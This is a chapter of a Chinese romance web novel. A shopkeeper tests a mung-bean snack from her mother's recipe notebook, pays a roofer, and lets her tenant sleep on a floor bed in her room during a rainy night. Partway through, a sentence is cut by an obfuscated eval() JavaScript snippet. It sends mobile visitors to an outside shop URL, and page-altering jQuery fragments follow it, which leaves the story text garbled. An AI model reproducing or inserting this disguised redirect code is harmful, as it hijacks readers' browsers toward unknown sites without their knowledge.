旧瓦被撬下来时，正好砸进何春酿放在墙角的破木盆里。
“咣”的一声，何春酿手里的细筛一抖，筛上的绿豆沙差点翻出去。她抬头往后院看了一眼，只把筛子重新端稳，继续用木勺慢慢碾。
丁瓦匠蹲在檐上，探头往下看：“何掌柜，盆本来就是破的，不是我砸破的！”
何春酿把碾好的绿豆沙刮进小陶碗里，才回了一句：“知道了，不让你赔钱。”
周砚平在梯子下扶着，手里接着旧瓦和烂木条。他看了看那只破盆，又看何春酿案上摆着的几只小碗，“今日打算卖绿豆酪？”
“不是绿豆酪，做法不一样。”何春酿用勺背压了压绿豆沙，“试着做点小食。雨一多，凉水卖得慢，客人坐下避雨，总不能光叫人端着一碗水发呆。”
绿豆煮得刚好，软而不烂，碾开后有细沙，也还留着一点豆香。她把昨日剩下的一点桂花蜜兑开，又取了半勺熟糯米粉，慢慢拌进去。
周砚平看了一会儿，又问：“这是什么？”
“还不知道。”何春酿自己也不急，“先试试。成了再起名，不成就喂你。”
周砚平把一片旧瓦放到墙角，没立刻接话。
何春酿终于分神看他一眼：“怎么，你还不愿意？”
“愿意。”周砚平道，“就是想先问问，不成到什么地步。”
何春酿低头继续拌：“放心，毒不死人。”
丁瓦匠在檐上听见，忍不住插嘴：“何掌柜，若真有多的，也喂我一口。我补屋檐补了半日，嘴里全是灰。”
何春酿把小碗往里挪了挪：“你先把屋檐补好，漏一处，就扣你一口。”
丁瓦匠叹气：“你这碗小食，比工钱还难挣。”
她把拌好的绿豆沙压进小盏里，用竹片刮平，又在上头点了一点桂花蜜。看着倒还像样，只是拿勺一碰，边缘便散开了，软塌塌地靠在盏边。
何春酿尝了一小口，眉头很快皱起来。
太粉，甜味也浮在上头，豆香没出来。
她没有急着倒掉，先把那只小盏推到一边，又从灶边的小抽屉里摸出一本旧本子。
那本子不大，封皮已经磨软了，边角起着毛，里头夹着几张泛黄的纸。她翻到后头空白处，拿炭笔记了几笔：绿豆过干，蜜要少，米粉晚些下。
周砚平正好下来取水，瞧见她写得认真，便停了一下，“这是什么？”
何春酿头也没抬：“何记安身立命的宝贝。”
周砚平疑惑地看着她写。
何春酿把最后一个字写完，才把本子合上，手掌在封皮上按了按，“我娘留给我的宝贝。我娘说，做吃食的人，舌头要灵，手要稳当，脑子也不能偷懒。”
“你娘写的？”
“前头是她写的，后头是我写的。”何春酿低头笑了一下，把封皮边角抚平，“春天卖什么，暑天喝什么，冬天吃什么暖身子，哪样能凉着喝，哪样得热着吃，都是我和我娘一点点试出来的。何记能开到现在，靠的不是这块招牌，是本子里这些笨功夫。”
周砚平再看那本旧本子时，神色比方才郑重了些，“怪不得你不肯随便端出去卖。”
何春酿把本子收进抽屉，又把那盏散开的绿豆沙端起来看了看，摇摇头道：“卖出去不仅砸何记的招牌，还有我娘的脸面。”
屋檐修到午后。
丁瓦匠把新瓦压好，又在檐口垫了油毡，临走前说这两日最好别上去碰，等日头晒透就稳。
何春酿听了半晌，只问一句：“今晚下雨能不能行？”
丁瓦匠露出一点为难：“小雨自然行。”
何春酿看着天边压下来的云。
丁瓦匠立刻改口：“大雨也行。倘若真不行，不用你喊，我明早自己来。”
何春酿点头，把剩下的一百文尾钱暂时没给。
丁瓦匠急了：“何掌柜，这不合规矩。”
“规矩是人定的。”何春酿把钱匣合上，“你明早来看，不漏，我将尾钱给你。漏了，你正好补上。”
丁瓦匠看向周砚平，想让他说句公道话。
周砚平正在擦手，闻言道：“嗯，辛苦丁师傅多跑一趟，明日请您喝饮子。”
丁瓦匠没话了，只能背着工具袋走。
傍晚时，后院檐口没再滴水。
何春酿把柴往里挪了两捆，又把竹筒架从墙边移开。
周砚平刚想接手，她没让，“你去把旧瓦收一收，别明早罗娘子过来绊一跤。她摔了还好，小满一哭，半条巷子都知道何记后院放暗器。”
周砚平便去收瓦。
何春酿说完又想起什么，从灶边拿了一个小碟子。里头是她后来重新调过的一点绿豆小食，比上午那盏软些，甜味也沉下去了，只是还不够成型。
她把碟子放到柜台边：“帮我尝一尝味道。”
周砚平把手洗干净，才拿勺舀了一点，“比上午那盏好，不噎人。”
“你上午吃了？”
“你推到一边那盏，丁瓦匠想吃，我先尝了。”
何春酿愣了一下：“我还以为你倒了。”
“没舍得倒。”周砚平把小碟放下，“其实不难吃，就是干。这个好些。”
何春酿嘴上说差得远，转头又把这回的调法记在纸上。
周砚平道：“我觉得可以试着卖卖。”
“嗯，先试着吧。”何春酿把纸压好，“雨季坐在铺里的人多，小碗甜食比一大碗凉水合适。卖贵了没人吃，卖便宜了又亏，得慢慢试。”
她说“慢慢试”时，像是说一件很远的事。
周砚平觉得，在她心里，何记这间小铺子，还有许多还没做出来的味道。
夜里雨还是下了。
先是细声，后来风一卷，雨点就变得急。
何春酿睡前去后院看过，主檐下没有水痕，她心里松了一口气。
半夜却听见小杂屋那边有动静，那声音不大，像盆沿碰到地面。
何春酿披衣起来，提灯过去。
小杂屋门虚掩着，屋里没有点大灯，只有一点火光。
周砚平站在床边，袖子卷到手肘，正把床尾的被褥往里拖。墙边一处旧瓦被斜雨打透，水顺着梁边往下滴，床脚已经湿了一片。
何春酿在门口站了一会儿，先没出声。
周砚平大概是怕惊动她，动作压得很轻。可那屋太窄，他越想轻，越容易碰着东西。
木盆歪在床边，半盆水晃了晃，险些又洒出来。
何春酿这才推门进去，“别挪了，再挪就要把床挪进灶房了。”
周砚平回头，看见她，手里的被子顿了一下，“我吵醒你了？”
“我还没睡。”何春酿把灯放到桌上，过去摸了摸被角。湿的。
那点漏水不算大，可床已经不能睡了。
小杂屋本来就是临时收拾出来的，墙旧，瓦旧，白日只顾着主檐，没想到斜雨会从这边打进来。
“今晚别住这儿了。”她说。
周砚平下意识道：“那我去前头睡。”
何春酿看他一眼：“前头门缝进风，长凳还短。你腿折起来睡一夜，明日走路像赵二。”
周砚平本来想说自己能将就，听见赵二，话卡了一下。
何春酿把他的账箱拎起来：“凑合一夜，去我屋里睡吧。”
雨打在瓦上，响得密。小杂屋里潮气重，灯火被风吹得晃了一下。
周砚平没接账箱，“我睡前头就成。”
何春酿把账箱往他怀里一塞：“我不是同你商量。”
周砚平抱住账箱，箱子不沉，可落在怀里，倒像比平日重了些。
何春酿没再催他，只转身去拿他挂在墙边的一件干
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17642828|205212||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
外衫。那衣裳挂得高，她踮了一下脚，没够着。
周砚平下意识伸手，替她取了下来。
两个人的手在衣袖边上碰了一下。
何春酿先松开，她把衣裳往他怀里一塞，声音比方才低了些：“你屋里这湿气重，衣物都要拿出去。”
周砚平嗯了一声。
何春酿把灯提起来，照着地上那一洼水，皱了皱眉，“明日还得叫丁瓦匠过来。他今日只补了主檐，这边没看。”
“怪不得他走得快。”周砚平道。
何春酿听见这话，嘴角抽动了一下，“幸好没给他结账。”
这话说完，两个人一前一后出了小杂屋。
檐下挂着水线，木盆里一下一下接着水，声音不急，却听得人心里不安稳。
何春酿走在前头，提着灯，影子落在湿地上，被雨光晃得有些乱。
到了主屋前，何春酿先进去把桌上的针线篮往里挪，又把床边一只小木凳搬开。
屋里干燥，桌椅柜子也整齐。
她把灯放在桌上，回头见周砚平还站在门口，便道：“进来啊，站外头做什么？”
周砚平低头看鞋。
何春酿顺着他的目光看过去，才发现他鞋底沾了水和泥。
她从门后拿了一块旧布，递给他，“擦一擦再进来。”
周砚平接过旧布，蹲下擦鞋底。他擦得很仔细，连鞋边的泥也一点点蹭掉。
何春酿看着，忽然觉得有些不自在，便转身去柜里翻被褥。
她屋里只有一床常盖的被子，另有一条薄些的旧褥子，是冬天垫脚用的。她把旧褥子抱出来，又找出一条薄被，放到地上。
周砚平擦完鞋，一进门便看见地上铺了一半的褥子。
何春酿把褥子铺好，又从箱子里翻出一只旧枕。枕面洗得发白，但很干净。她把枕头放到靠墙的一边，又把薄被叠在上头，“将就一晚吧。”
周砚平看着地铺，过了会儿才说：“已经很好了。”
何春酿听他这句“很好”，心里反倒发酸。她把这点情绪压下去，弯腰把灯挪到桌角，“明日一早，你先回小杂屋收东西，别叫罗娘子进门就看见你从我屋里出来。”
周砚平点头：“我知道。”
“也别起太早。”何春酿又说，“天还没亮在院里走来走去，我睡觉浅。”
周砚平低头整理薄被，手上的动作停了一下，“那我什么时候起合适？”
何春酿本来只是随口说，没想到他还真问，一时也被问住了。
她想了想：“鸡叫第二遍吧。”
周砚平道：“永安巷那只鸡叫得不准。”
何春酿偏过头看他。
周砚平面上没什么笑，眼底却有一点。
何春酿这才明白他是故意的。
她把床边的衣裳往里一收，淡淡道：“那你自己看着办。别太早，别太晚，别让我起来还看见你在地上装睡。”
“好。”
这声好落下，屋里安静了一会儿。
何春酿脱了鞋，上床之后，伸手把床帐放了下来。
帐子一落，屋里便隔成了两处。外头只剩桌角那点灯光，照着地上铺好的旧褥和周砚平放在墙边的账箱。
何春酿在帐里背过身去解外衣，衣料窸窣响了一声。
周砚平原本正弯腰放账箱，听见那一点声音，动作顿了顿，还是转过身去，低头把箱子往墙根推了推。
其实隔着床帐，他什么也看不见，可他还是转得很快。
何春酿听见箱子轻轻碰墙的声音，手指也停了一下。她没有回头，只把外衣搭在床里侧，又拉过被子躺下。
周砚平吹灭了桌上的灯。
屋里一下暗下来。
外头雨声更清楚了，打在瓦上，落在檐下，远处偶尔还有水从高处泼下来的声音。